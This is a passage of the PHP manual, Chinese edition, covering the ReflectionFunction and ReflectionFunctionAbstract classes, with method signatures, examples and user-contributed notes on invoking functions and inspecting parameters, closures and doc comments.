public static export(string $name, string $return = ?): string
public getClosure(): Closure
public invoke(mixed ...$args): mixed
public invokeArgs(array $args): mixed
public isAnonymous(): bool
public isDisabled(): bool
public __toString(): string
/* 继承的方法 */
private ReflectionFunctionAbstract::__clone(): void
public ReflectionFunctionAbstract::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClass
public ReflectionFunctionAbstract::getClosureThis(): ?object
public ReflectionFunctionAbstract::getClosureUsedVariables(): array
public ReflectionFunctionAbstract::getDocComment(): string|false
public ReflectionFunctionAbstract::getEndLine(): int|false
public ReflectionFunctionAbstract::getExtension(): ?ReflectionExtension
public ReflectionFunctionAbstract::getExtensionName(): string|false
public ReflectionFunctionAbstract::getFileName(): string|false
public ReflectionFunctionAbstract::getName(): string
public ReflectionFunctionAbstract::getNamespaceName(): string
public ReflectionFunctionAbstract::getNumberOfParameters(): int
public ReflectionFunctionAbstract::getNumberOfRequiredParameters(): int
public ReflectionFunctionAbstract::getParameters(): array
public ReflectionFunctionAbstract::getReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::getShortName(): string
public ReflectionFunctionAbstract::getStartLine(): int|false
public ReflectionFunctionAbstract::getStaticVariables(): array
public ReflectionFunctionAbstract::getTentativeReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::hasReturnType(): bool
public ReflectionFunctionAbstract::hasTentativeReturnType(): bool
public ReflectionFunctionAbstract::inNamespace(): bool
public ReflectionFunctionAbstract::isClosure(): bool
public ReflectionFunctionAbstract::isDeprecated(): bool
public ReflectionFunctionAbstract::isGenerator(): bool
public ReflectionFunctionAbstract::isInternal(): bool
public ReflectionFunctionAbstract::isStatic(): bool
public ReflectionFunctionAbstract::isUserDefined(): bool
public ReflectionFunctionAbstract::isVariadic(): bool
public ReflectionFunctionAbstract::returnsReference(): bool
abstract public ReflectionFunctionAbstract::__toString(): void
}

预定义常量

ReflectionFunction 修饰符

ReflectionFunction::IS_DEPRECATED

表示弃用函数。

更新日志

版本 | 说明
8.0.0 | 已移除 ReflectionFunction::export()。

Table of Contents

  • ReflectionFunction::__construct — Constructs a ReflectionFunction object
  • ReflectionFunction::export — Exports function
  • ReflectionFunction::getClosure — Returns a dynamically created closure for the function
  • ReflectionFunction::invoke — Invokes function
  • ReflectionFunction::invokeArgs — Invokes function args
  • ReflectionFunction::isAnonymous — Checks if a function is anonymous
  • ReflectionFunction::isDisabled — Checks if function is disabled
  • ReflectionFunction::__toString — Returns the string representation of the ReflectionFunction object

User Contributed Notes

a dot lucassilvadeoliveira at gmail dot com 28-Nov-2020 06:15
We can use this functionality to automatically pass arguments to our function based on some data structure.

NOTE: I am using a php 8.0> feature called "Nameds parameter"

<?php

$valuesToProcess = [
  'name' => 'Anderson Lucas Silva de Oliveira',
  'age' => 21,
  'hobbie' => 'Play games'
];

function processUserData($name, $age, $job = "", $hobbie = "")
{
    $msg = "Hello $name. You have $age years old";
    if (!empty($job)) {
    $msg .= ". Your job is $job";
    }

    if (!empty($hobbie)) {
        $msg .= ". Your hobbie is $hobbie";
    }

    echo $msg . ".";
}

$refFunction = new ReflectionFunction('processUserData');
$parameters = $refFunction->getParameters();

$validParameters = [];
foreach ($parameters as $parameter) {
    if (!array_key_exists($parameter->getName(), $valuesToProcess) && !$parameter->isOptional()) {
        throw new DomainException('Cannot resolve the parameter' . $parameter->getName());
    }

    if(!array_key_exists($parameter->getName(), $valuesToProcess)) {
        continue;
    }

    $validParameters[$parameter->getName()] = $valuesToProcess[$parameter->getName()];
}

$refFunction->invoke(...$validParameters);
?>

Results in:

Hello Anderson Lucas Silva de Oliveira. You have 21 years old. Your hobbie is Play games.
Lorenz R.S. 12-Aug-2011 01:24
Here is a concise example of ReflectionFunction usage for Parameter Reflection / introspection (e.g. to automatically generate API descriptions)

<?php
$properties = $reflector->getProperties();
$refFunc = new ReflectionFunction('preg_replace');
foreach( $refFunc->getParameters() as $param ){
    //invokes ■ReflectionParameter::__toString
    print $param;
}
?>

prints:

Parameter #0 [ <required> $regex ]
Parameter #1 [ <required> $replace ]
Parameter #2 [ <required> $subject ]
Parameter #3 [ <optional> $limit ]
Parameter #4 [ <optional> &$count ]


Constructs a ReflectionFunction object

  • ? ReflectionFunction
  • ReflectionFunction::export ?
  • PHP Manual
  • ReflectionFunction
  • Constructs a ReflectionFunction object

ReflectionFunction::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionFunction::__construct — Constructs a ReflectionFunction object

说明

public ReflectionFunction::__construct(Closure|string $function)

Constructs a ReflectionFunction object.

参数

function

The name of the function to reflect or a closure.

错误／异常

A ReflectionException if the function parameter does not contain a valid function.

示例

Example #1 ReflectionFunction::__construct() example

<?php
/**
* A simple counter
*
* @return int
*/
function counter1()
{
static $c = 0;
return ++$c;
}

/**
* Another simple counter
*
* @return int
*/
$counter2 = function()
{
static $d = 0;
return ++$d;

};

function dumpReflectionFunction($func)
{
// Print out basic information
printf(
"\n\n===> The %s function '%s'\n".
" declared in %s\n".
" lines %d to %d\n",
$func->isInternal() ? 'internal' : 'user-defined',
$func->getName(),
$func->getFileName(),
$func->getStartLine(),
$func->getEndline()
);

// Print documentation comment
printf("---> Documentation:\n %s\n", var_export($func->getDocComment(), 1));

// Print static variables if existant
if ($statics = $func->getStaticVariables())
{
printf("---> Static variables: %s\n", var_export($statics, 1));
}
}

// Create an instance of the ReflectionFunction class
dumpReflectionFunction(new ReflectionFunction('counter1'));
dumpReflectionFunction(new ReflectionFunction($counter2));
?>

以上示例的输出类似于：

===> The user-defined function 'counter1'
     declared in Z:\reflectcounter.php
     lines 7 to 11
---> Documentation:
 '/**
 * A simple counter
 *
 * @return    int
 */'
---> Static variables: array (
  'c' => 0,
)

===> The user-defined function '{closure}'
     declared in Z:\reflectcounter.php
     lines 18 to 23
---> Documentation:
 '/**
 * Another simple counter
 *
 * @return    int
 */'
---> Static variables: array (
  'd' => 0,
)

参见

  • ReflectionMethod::__construct() - 构造 ReflectionMethod
  • Constructors

User Contributed Notes

There are no user contributed notes for this page.


Exports function

  • ? ReflectionFunction::__construct
  • ReflectionFunction::getClosure ?
  • PHP Manual
  • ReflectionFunction
  • Exports function

ReflectionFunction::export

(PHP 5, PHP 7)

ReflectionFunction::export — Exports function

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

public static ReflectionFunction::export(string $name, string $return = ?): string

Exports a Reflected function.

参数

name

导出的反射。

return

设为 true 时返回导出结果，设为 false（默认值）则忽略返回。

返回值

如果参数 return 设为 true，导出结果将作为 string 返回，否则返回 null。

参见

  • ReflectionFunction::invoke() - Invokes function
  • ReflectionFunction::__toString() - Returns the string representation of the ReflectionFunction object

User Contributed Notes

hytest at gmail dot com 22-Nov-2011 08:04
Example:

<?php
function title($title, $name)
{
    return sprintf("%s. %s\r\n", $title, $name);
}

echo ReflectionFunction::export('title',true);

?>

Output:

Function [ <user> function title ] {
  @@ /path/to/file.php 2 - 5

  - Parameters [2] {
    Parameter #0 [ <required> $title ]
    Parameter #1 [ <required> $name ]
  }
}


Returns a dynamically created closure for the function

  • ? ReflectionFunction::export
  • ReflectionFunction::invoke ?
  • PHP Manual
  • ReflectionFunction
  • Returns a dynamically created closure for the function

ReflectionFunction::getClosure

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionFunction::getClosure — Returns a dynamically created closure for the function

说明

public ReflectionFunction::getClosure(): Closure

Get a dynamically created closure for the function.

参数

此函数没有参数。

返回值

Returns the newly created Closure.

参见

  • First class callable syntax

User Contributed Notes

php dot net-bug at spamhereplease dot com 23-Nov-2013 05:34
If you have a callback that is going to be invoked often, you can use this method (and the related method for ReflectProperty) to get a closure that will execute at near native speed.

Some benchmark comparisons with php 5.4.22 on ubuntu:

[function call]      [time]     [%slower]
function():          0.09527      0%
Reflection::Closure: 0.09729      2%
$string():           0.102641     8%
Reflection:          0.197122   107%
call_user_func:      0.214045   125%

[method call]        [time]  [% slower] [%vs func]
->method():          0.103611    0%       9%
Reflection::Closure: 0.1043      1%       9%
$string():           0.109885    6%      15%
Reflection:          0.20451    97%     115%
call_user_func:      0.219205  112%     130%


Invokes function

  • ? ReflectionFunction::getClosure
  • ReflectionFunction::invokeArgs ?
  • PHP Manual
  • ReflectionFunction
  • Invokes function

ReflectionFunction::invoke

(PHP 5, PHP 7, PHP 8)

ReflectionFunction::invoke — Invokes function

说明

public ReflectionFunction::invoke(mixed ...$args): mixed

Invokes a reflected function.

参数

args

The passed in argument list. It accepts a variable number of arguments which are passed to the function much like call_user_func() is.

返回值

Returns the result of the invoked function call.

示例

Example #1 ReflectionFunction::invoke() example

<?php
function title($title, $name)
{
return sprintf("%s. %s\r\n", $title, $name);
}

$function = new ReflectionFunction('title');

echo $function->invoke('Dr', 'Phil');
?>

以上示例会输出：

Dr. Phil

注释

Note:

ReflectionFunction::invoke() cannot be used when reference parameters are expected. ReflectionFunction::invokeArgs() has to be used instead (passing references in the argument list).

参见

  • ReflectionFunction::export() - Exports function
  • __invoke()
  • call_user_func() - 把第一个参数作为回调函数调用

User Contributed Notes

spark at limao dot com dot br 10-Jun-2011 10:55
I know Reflections classes have a lot of power, but sometimes all we need is to store a annonymus function or even create a simple callback somewhere.

so here it is, the Callback class:
<?php
    class Callback{
        private $name = false;

        public function Callback($obj,$call=false){
            $name = array($obj);
            if($call) $name[] = $call;

            $this->name = $name;
        }
        public function invoke($params=array()){
            return call_user_func_array($this->name,$params);
        }
    }
?>

Usage:
<?php
    function sayName(){
        return "goku";
    }

    $myVar = new Callback("sayName");

    echo "Hi, I am ".$myVar->invoke()."!";

    //also works with methods: new Callback($obj,"method");
?>


Invokes function args

  • ? ReflectionFunction::invoke
  • ReflectionFunction::isAnonymous ?
  • PHP Manual
  • ReflectionFunction
  • Invokes function args

ReflectionFunction::invokeArgs

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionFunction::invokeArgs — Invokes function args

说明

public ReflectionFunction::invokeArgs(array $args): mixed

Invokes the function and pass its arguments as array.

参数

args

The passed arguments to the function as an array, much like call_user_func_array() works.

返回值

Returns the result of the invoked function

更新日志

版本 | 说明
8.0.0 | args keys will now be interpreted as parameter names, instead of being silently ignored.

示例

Example #1 ReflectionFunction::invokeArgs() example

<?php
function title($title, $name)
{
return sprintf("%s. %s\r\n", $title, $name);
}

$function = new ReflectionFunction('title');

echo $function->invokeArgs(array('Dr', 'Phil'));
?>

以上示例会输出：

Dr. Phil

Example #2 ReflectionFunction::invokeArgs() with references example

<?php
function get_false_conditions(array $conditions, array &$false_conditions)
{
foreach ($conditions as $condition) {
if (!$condition) {
$false_conditions[] = $condition;
}
}
}

$function_ref = new ReflectionFunction('get_false_conditions');

$conditions = array(true, false, -1, 0, 1);
$false_conditions = array();

$function_ref->invokeArgs(array($conditions, &$false_conditions));

var_dump($false_conditions);
?>

以上示例会输出：

array(2) {
  [0]=>
  bool(false)
  [1]=>
  int(0)
}

注释

Note:

如果函数有参数需为引用，那么它们必须以引用方式传入。

参见

  • ReflectionFunction::invoke() - Invokes function
  • ReflectionFunctionAbstract::getNumberOfParameters() - 获取参数数目
  • __invoke()
  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数

User Contributed Notes

theyourcomputer at gmail dot com 05-Dec-2017 01:40
In the case of call_user_func_array(), if you were to pass around an anonymous function and reference $this within the anonymous function, $this will faithfully refer to the class in the context in which the function was defined. Using ReflectionFunction::invokeArgs() does not seem to retain its original context--yeah, even if you bind the anonymous function before invoking. I recommend call_user_func_array() where context is a concern.
Andrea Giammarchi 16-Feb-2008 06:41
I encountered a weird problem with ReflectionFunction, described in ticket 44139 of PHP Bugs.

If for some reason you need to call with invoke, or invokeArgs, a function like array_unshift (that accepts internally the array by reference) you could use this code to avoid the generated warning or fatal error.

<?php
function unshift(){
    $ref        = new ReflectionFunction('array_unshift');
    $arguments    = func_get_args();
    return        $ref->invokeArgs(array_merge(array(&$this->arr), $arguments));
}
?>

I don't know about performances (you can create an array manually too, starting from array(&$this->something) and adding arguments). However, it seems to work correctly without problems, at least until the send by reference will be usable with one single value ...


Checks if a function is anonymous

  • ? ReflectionFunction::invokeArgs
  • ReflectionFunction::isDisabled ?
  • PHP Manual
  • ReflectionFunction
  • Checks if a function is anonymous

ReflectionFunction::isAnonymous

(PHP 8 >= 8.2.0)

ReflectionFunction::isAnonymous — Checks if a function is anonymous

说明

public ReflectionFunction::isAnonymous(): bool

Checks if a function is anonymous.

参数

此函数没有参数。

返回值

Returns true if the function is anonymous, otherwise false.

示例

Example #1 ReflectionFunction::isAnonymous() example

<?php

$rf = new ReflectionFunction(function() {});
var_dump($rf->isAnonymous());

$rf = new ReflectionFunction('strlen');
var_dump($rf->isAnonymous());
?>

以上示例会输出：

bool(true)
bool(false)

参见

  • Anonymous functions

User Contributed Notes

nicolasgrekas at php dot net 13-Dec-2022 10:00
Closures can be either anonymous or not.

Here is an anonymous closure:
$c1 = function () {};

And here is a *non* anonymous closure:
$c2 = Closure::fromCallable(['Foo', 'bar']);

ReflectionFunction::isAnonymous() returns true for $c1 and false for $c2.

Before PHP 8.2, one had to do this check to decide between both:
$r = new \ReflectionFunction($c1);
$isAnonymous = false !== strpos($r->name, '{closure}');

ReflectionFunction::isAnonymous() makes it easier to check.
Taufik Nurrohman 09-Dec-2022 11:22
You know that anonymous function is just an instance of class `Closure` so this would be equivalent to check whether a variable is an anonymous function or not:

<?php

$test = function () {};

if (is_callable($test) && is_object($test) && $test instanceof Closure) { /* ... */ }

?>


Checks if function is disabled

  • ? ReflectionFunction::isAnonymous
  • ReflectionFunction::__toString ?
  • PHP Manual
  • ReflectionFunction
  • Checks if function is disabled

ReflectionFunction::isDisabled

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunction::isDisabled — Checks if function is disabled

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

public ReflectionFunction::isDisabled(): bool

Checks if the function is disabled, via the disable_functions directive.

参数

此函数没有参数。

返回值

true if it's disable, otherwise false

参见

  • ReflectionFunctionAbstract::isUserDefined() - 检查是否是用户定义
  • disable_functions directive

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of the ReflectionFunction object

  • ? ReflectionFunction::isDisabled
  • ReflectionFunctionAbstract ?
  • PHP Manual
  • ReflectionFunction
  • Returns the string representation of the ReflectionFunction object

ReflectionFunction::__toString

(PHP 5, PHP 7, PHP 8)

ReflectionFunction::__toString — Returns the string representation of the ReflectionFunction object

说明

public ReflectionFunction::__toString(): string

Get a human-readable description of the function, its parameters and return values.

参数

此函数没有参数。

返回值

The string.

示例

Example #1 ReflectionFunction::__toString() example

<?php
function title($title, $name)
{
return sprintf("%s. %s\r\n", $title, $name);
}

echo new ReflectionFunction('title');
?>

以上示例的输出类似于：

Function [ <user> function title ] {
  @@ Command line code 1 - 1

  - Parameters [2] {
    Parameter #0 [ <required> $title ]
    Parameter #1 [ <required> $name ]
  }
}

参见

  • ReflectionFunction::export() - Exports function
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionFunctionAbstract 类

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

简介

ReflectionFunction 的父类，详情请阅读它的描述。

类摘要

abstract class ReflectionFunctionAbstract implements Reflector {
/* 属性 */
public string $name;
/* 方法 */
private __clone(): void
public getAttributes(?string $name = null, int $flags = 0): array
public getClosureScopeClass(): ?ReflectionClass
public getClosureThis(): ?object
public getClosureUsedVariables(): array
public getDocComment(): string|false
public getEndLine(): int|false
public getExtension(): ?ReflectionExtension
public getExtensionName(): string|false
public getFileName(): string|false
public getName(): string
public getNamespaceName(): string
public getNumberOfParameters(): int
public getNumberOfRequiredParameters(): int
public getParameters(): array
public getReturnType(): ?ReflectionType
public getShortName(): string
public getStartLine(): int|false
public getStaticVariables(): array
public getTentativeReturnType(): ?ReflectionType
public hasReturnType(): bool
public hasTentativeReturnType(): bool
public inNamespace(): bool
public isClosure(): bool
public isDeprecated(): bool
public isGenerator(): bool
public isInternal(): bool
public isStatic(): bool
public isUserDefined(): bool
public isVariadic(): bool
public returnsReference(): bool
abstract public __toString(): void
}

属性

name

函数名。只读，尝试赋值的时候将会抛出 ReflectionException。

Table of Contents

  • ReflectionFunctionAbstract::__clone — 复制函数
  • ReflectionFunctionAbstract::getAttributes — Gets Attributes
  • ReflectionFunctionAbstract::getClosureScopeClass — Returns the scope class associated with the closure
  • ReflectionFunctionAbstract::getClosureThis — 返回本身的匿名函数
  • ReflectionFunctionAbstract::getClosureUsedVariables — Returns an array of the used variables in the Closure
  • ReflectionFunctionAbstract::getDocComment — 获取注释内容
  • ReflectionFunctionAbstract::getEndLine — 获取结束行号
  • ReflectionFunctionAbstract::getExtension — 获取扩展信息
  • ReflectionFunctionAbstract::getExtensionName — 获取扩展名称
  • ReflectionFunctionAbstract::getFileName — 获取文件名称
  • ReflectionFunctionAbstract::getName — 获取函数名称
  • ReflectionFunctionAbstract::getNamespaceName — 获取命名空间
  • ReflectionFunctionAbstract::getNumberOfParameters — 获取参数数目
  • ReflectionFunctionAbstract::getNumberOfRequiredParameters — 获取必须输入参数个数
  • ReflectionFunctionAbstract::getParameters — 获取参数
  • ReflectionFunctionAbstract::getReturnType — Gets the specified return type of a function
  • ReflectionFunctionAbstract::getShortName — 获取函数短名称
  • ReflectionFunctionAbstract::getStartLine — 获取开始行号
  • ReflectionFunctionAbstract::getStaticVariables — 获取静态变量
  • ReflectionFunctionAbstract::getTentativeReturnType — Returns the tentative return type associated with the function
  • ReflectionFunctionAbstract::hasReturnType — Checks if the function has a specified return type
  • ReflectionFunctionAbstract::hasTentativeReturnType — Returns whether the function has a tentative return type
  • ReflectionFunctionAbstract::inNamespace — 检查是否处于命名空间
  • ReflectionFunctionAbstract::isClosure — 检查是否是匿名函数
  • ReflectionFunctionAbstract::isDeprecated — 检查是否已经弃用
  • ReflectionFunctionAbstract::isGenerator — 判断函数是否是一个生成器函数
  • ReflectionFunctionAbstract::isInternal — 判断函数是否是内置函数
  • ReflectionFunctionAbstract::isStatic — 判断函数是否为 static
  • ReflectionFunctionAbstract::isUserDefined — 检查是否是用户定义
  • ReflectionFunctionAbstract::isVariadic — Checks if the function is variadic
  • ReflectionFunctionAbstract::returnsReference — 检查是否返回引用
  • ReflectionFunctionAbstract::__toString — 返回表示 ReflectionFunctionAbstract 对象的字符串

User Contributed Notes

There are no user contributed notes for this page.


复制函数

  • ? ReflectionFunctionAbstract
  • ReflectionFunctionAbstract::getAttributes ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 复制函数

ReflectionFunctionAbstract::__clone

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::__clone — 复制函数

说明

private ReflectionFunctionAbstract::__clone(): void

复制函数。

参数

此函数没有参数。

返回值

没有返回值。

更新日志

版本 | 说明
8.1.0 | 此函数不再是 final。

参见

  • 对象克隆

User Contributed Notes

There are no user contributed notes for this page.


Gets Attributes

  • ? ReflectionFunctionAbstract::__clone
  • ReflectionFunctionAbstract::getClosureScopeClass ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • Gets Attributes

ReflectionFunctionAbstract::getAttributes

(PHP 8)

ReflectionFunctionAbstract::getAttributes — Gets Attributes

说明

public ReflectionFunctionAbstract::getAttributes(?string $name = null, int $flags = 0): array

Returns all attributes declared on this function or method as an array of ReflectionAttribute.

参数

name

过滤结果，匹配此类名，仅包含 ReflectionAttribute 实例的属性。

flags

如果提供了 name，则用于确定如何过滤结果的 flag。

默认值为 0，这将导致返回的结果只属于类 name 的属性。

唯一可用的其他选项是使用 ReflectionAttribute::IS_INSTANCEOF，它将改为使用 instanceof 进行过滤。

返回值

Array of attributes, as a ReflectionAttribute object.

示例

Example #1 Basic usage with a class method

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

class Factory {
#[Fruit]
#[Red]
public function makeApple(): string
{
return 'apple';
}
}

$method = new ReflectionMethod('Factory', 'makeApple');
$attributes = $method->getAttributes();
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Fruit
    [1] => Red
)

Example #2 Basic usage with a function

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

#[Fruit]
#[Red]
function makeApple(): string
{
return 'apple';
}

$function = new ReflectionFunction('makeApple');
$attributes = $function->getAttributes();
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Fruit
    [1] => Red
)

Example #3 Filtering results by class name

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

#[Fruit]
#[Red]
function makeApple(): string
{
return 'apple';
}

$function = new ReflectionFunction('makeApple');
$attributes = $function->getAttributes('Fruit');
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Fruit
)

Example #4 Filtering results by class name, with inheritance

<?php
interface Color {
}

#[Attribute]
class Fruit {
}

#[Attribute]
class Red implements Color {
}

#[Fruit]
#[Red]
function makeApple(): string
{
return 'apple';
}

$function = new ReflectionFunction('makeApple');
$attributes = $function->getAttributes('Color', ReflectionAttribute::IS_INSTANCEOF);
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Red
)

参见

  • ReflectionClass::getAttributes() - 获取所有属性
  • ReflectionClassConstant::getAttributes() - Gets Attributes
  • ReflectionParameter::getAttributes() - Gets Attributes
  • ReflectionProperty::getAttributes() - Gets Attributes

User Contributed Notes

There are no user contributed notes for this page.


Returns the scope class associated with the closure

  • ? ReflectionFunctionAbstract::getAttributes
  • ReflectionFunctionAbstract::getClosureThis ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • Returns the scope class associated with the closure

ReflectionFunctionAbstract::getClosureScopeClass

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getClosureScopeClass — Returns the scope class associated with the closure

说明

public ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClass

Get the class enclosing the closure declaration.

参数

此函数没有参数。

返回值

Returns the class, or null if the function is not a closure or if there was no enclosing class.

User Contributed Notes

There are no user contributed notes for this page.


返回本身的匿名函数

  • ? ReflectionFunctionAbstract::getClosureScopeClass
  • ReflectionFunctionAbstract::getClosureUsedVariables ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 返回本身的匿名函数

ReflectionFunctionAbstract::getClosureThis

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getClosureThis — 返回本身的匿名函数

说明

public ReflectionFunctionAbstract::getClosureThis(): ?object

如果函数是非静态闭包，获取绑定到闭包内部 $this 的对象。

参数

此函数没有参数。

返回值

返回 $this 指向，产生错误返回 null。

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of the used variables in the Closure

  • ? ReflectionFunctionAbstract::getClosureThis
  • ReflectionFunctionAbstract::getDocComment ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • Returns an array of the used variables in the Closure

ReflectionFunctionAbstract::getClosureUsedVariables

(PHP 8 >= 8.1.0)

ReflectionFunctionAbstract::getClosureUsedVariables — Returns an array of the used variables in the Closure

说明

public ReflectionFunctionAbstract::getClosureUsedVariables(): array

Returns an array of the used variables in the Closure.

参数

此函数没有参数。

返回值

Returns an array of the used variables in the Closure.

示例

Example #1 ReflectionFunctionAbstract::getClosureUsedVariables() example

<?php

$one = 1;
$two = 2;

$function = function() use ($one, $two) {
static $three = 3;
};

$reflector = new ReflectionFunction($function);

var_dump($reflector->getClosureUsedVariables());
?>

以上示例的输出类似于：

array(2) {
  ["one"]=>
  int(1)
  ["two"]=>
  int(2)
}

参见

  • ReflectionFunctionAbstract::getClosureScopeClass() - Returns the scope class associated with the closure
  • ReflectionFunctionAbstract::getClosureThis() - 返回本身的匿名函数

User Contributed Notes

There are no user contributed notes for this page.


获取注释内容

  • ? ReflectionFunctionAbstract::getClosureUsedVariables
  • ReflectionFunctionAbstract::getEndLine ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取注释内容

ReflectionFunctionAbstract::getDocComment

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容

说明

public ReflectionFunctionAbstract::getDocComment(): string|false

获取函数的文档注释。

参数

此函数没有参数。

返回值

如果存在文档注释返回其内容，否则返回 false。

参见

  • ReflectionFunctionAbstract::getStartLine() - 获取开始行号

User Contributed Notes

jens dot kohl+php at gmail dot com 26-Mar-2012 11:19
Beware when you try to use the getDocComment() methods with eAccelerator turned on. eAccelerator ?optimizes? your code in a way that it removes any comments from your source. So at runtime you're not able to get any comments and therefor getDocComments return false.
bruno at vault7 dot com 12-Nov-2009 11:09
In order to retrieve a comment with this method, the comment must be imediately before the class, function or method, start with /** and end with */


获取结束行号

  • ? ReflectionFunctionAbstract::getDocComment
  • ReflectionFunctionAbstract::getExtension ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取结束行号

ReflectionFunctionAbstract::getEndLine

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getEndLine — 获取结束行号

说明

public ReflectionFunctionAbstract::getEndLine(): int|false

获取结束行号。

参数

此函数没有参数。

返回值

获取用户定义函数的结束行号，如果未知返回 false。

参见

  • ReflectionFunctionAbstract::getStartLine() - 获取开始行号

User Contributed Notes

There are no user contributed notes for this page.


获取扩展信息

  • ? ReflectionFunctionAbstract::getEndLine
  • ReflectionFunctionAbstract::getExtensionName ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取扩展信息

ReflectionFunctionAbstract::getExtension

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getExtension — 获取扩展信息

说明

public ReflectionFunctionAbstract::getExtension(): ?ReflectionExtension

获取函数的扩展信息

参数

此函数没有参数。

返回值

包含扩展信息的 ReflectionExtension 对象，用户定义的函数则为 null。

参见

  • ReflectionFunctionAbstract::getExtensionName() - 获取扩展名称

User Contributed Notes

There are no user contributed notes for this page.


获取扩展名称

  • ? ReflectionFunctionAbstract::getExtension
  • ReflectionFunctionAbstract::getFileName ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取扩展名称

ReflectionFunctionAbstract::getExtensionName

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getExtensionName — 获取扩展名称

说明

public ReflectionFunctionAbstract::getExtensionName(): string|false

获取扩展名称。

参数

此函数没有参数。

返回值

定义函数的扩展名，用户定义函数则为 false。

参见

  • ReflectionFunctionAbstract::getExtension() - 获取扩展信息

User Contributed Notes

There are no user contributed notes for this page.


获取文件名称

  • ? ReflectionFunctionAbstract::getExtensionName
  • ReflectionFunctionAbstract::getName ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取文件名称

ReflectionFunctionAbstract::getFileName

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getFileName — 获取文件名称

说明

public ReflectionFunctionAbstract::getFileName(): string|false

获取函数定义的文件名称。

参数

此函数没有参数。

返回值

返回定义函数所在文件的文件名。如果定义的类在 PHP 核心或者 PHP 扩展中，则返回 false。

参见

  • ReflectionFunctionAbstract::getNamespaceName() - 获取命名空间

User Contributed Notes

stein at visibone dot com 04-Jul-2013 10:53
Returns FALSE for an internal function (when isInternal() returns TRUE, e.g. for 'strlen').


获取函数名称

  • ? ReflectionFunctionAbstract::getFileName
  • ReflectionFunctionAbstract::getNamespaceName ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取函数名称

ReflectionFunctionAbstract::getName

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getName — 获取函数名称

说明

public ReflectionFunctionAbstract::getName(): string

获取函数名称。

参数

此函数没有参数。

返回值

返回函数名称。

参见

  • ReflectionFunctionAbstract::getExtensionName() - 获取扩展名称
  • ReflectionFunctionAbstract::isUserDefined() - 检查是否是用户定义

User Contributed Notes

PR 14-Feb-2021 01:28
If you call getName() on an anonymous function you'll get "{closure}".


获取命名空间

  • ? ReflectionFunctionAbstract::getName
  • ReflectionFunctionAbstract::getNumberOfParameters ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取命名空间

ReflectionFunctionAbstract::getNamespaceName

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getNamespaceName — 获取命名空间

说明

public ReflectionFunctionAbstract::getNamespaceName(): string

获取类定义所属的命名空间。

参数

此函数没有参数。

返回值

返回命名空间。

参见

  • ReflectionFunctionAbstract::getFileName() - 获取文件名称
  • 命名空间

User Contributed Notes

There are no user contributed notes for this page.


获取参数数目

  • ? ReflectionFunctionAbstract::getNamespaceName
  • ReflectionFunctionAbstract::getNumberOfRequiredParameters ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取参数数目

ReflectionFunctionAbstract::getNumberOfParameters

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getNumberOfParameters — 获取参数数目

说明

public ReflectionFunctionAbstract::getNumberOfParameters(): int

获取函数定义的参数数量，包括可选参数。

参数

此函数没有参数。

返回值

参数的个数。

参见

  • ReflectionFunctionAbstract::getNumberOfRequiredParameters() - 获取必须输入参数个数
  • func_num_args() - 返回传递给函数的参数数量

User Contributed Notes

8ctopus 23-Nov-2020 08:26
$reflection = new ReflectionFunction('implode');
echo $reflection->getNumberOfParameters();
Robert Pitt ( LitePHP ) 11-Apr-2010 03:42
Working on a new MVC Application Framework i use this method to check how many arguments are required before calling the sub method!

Example

<?php
        $this->method_args_count = $this->CReflection
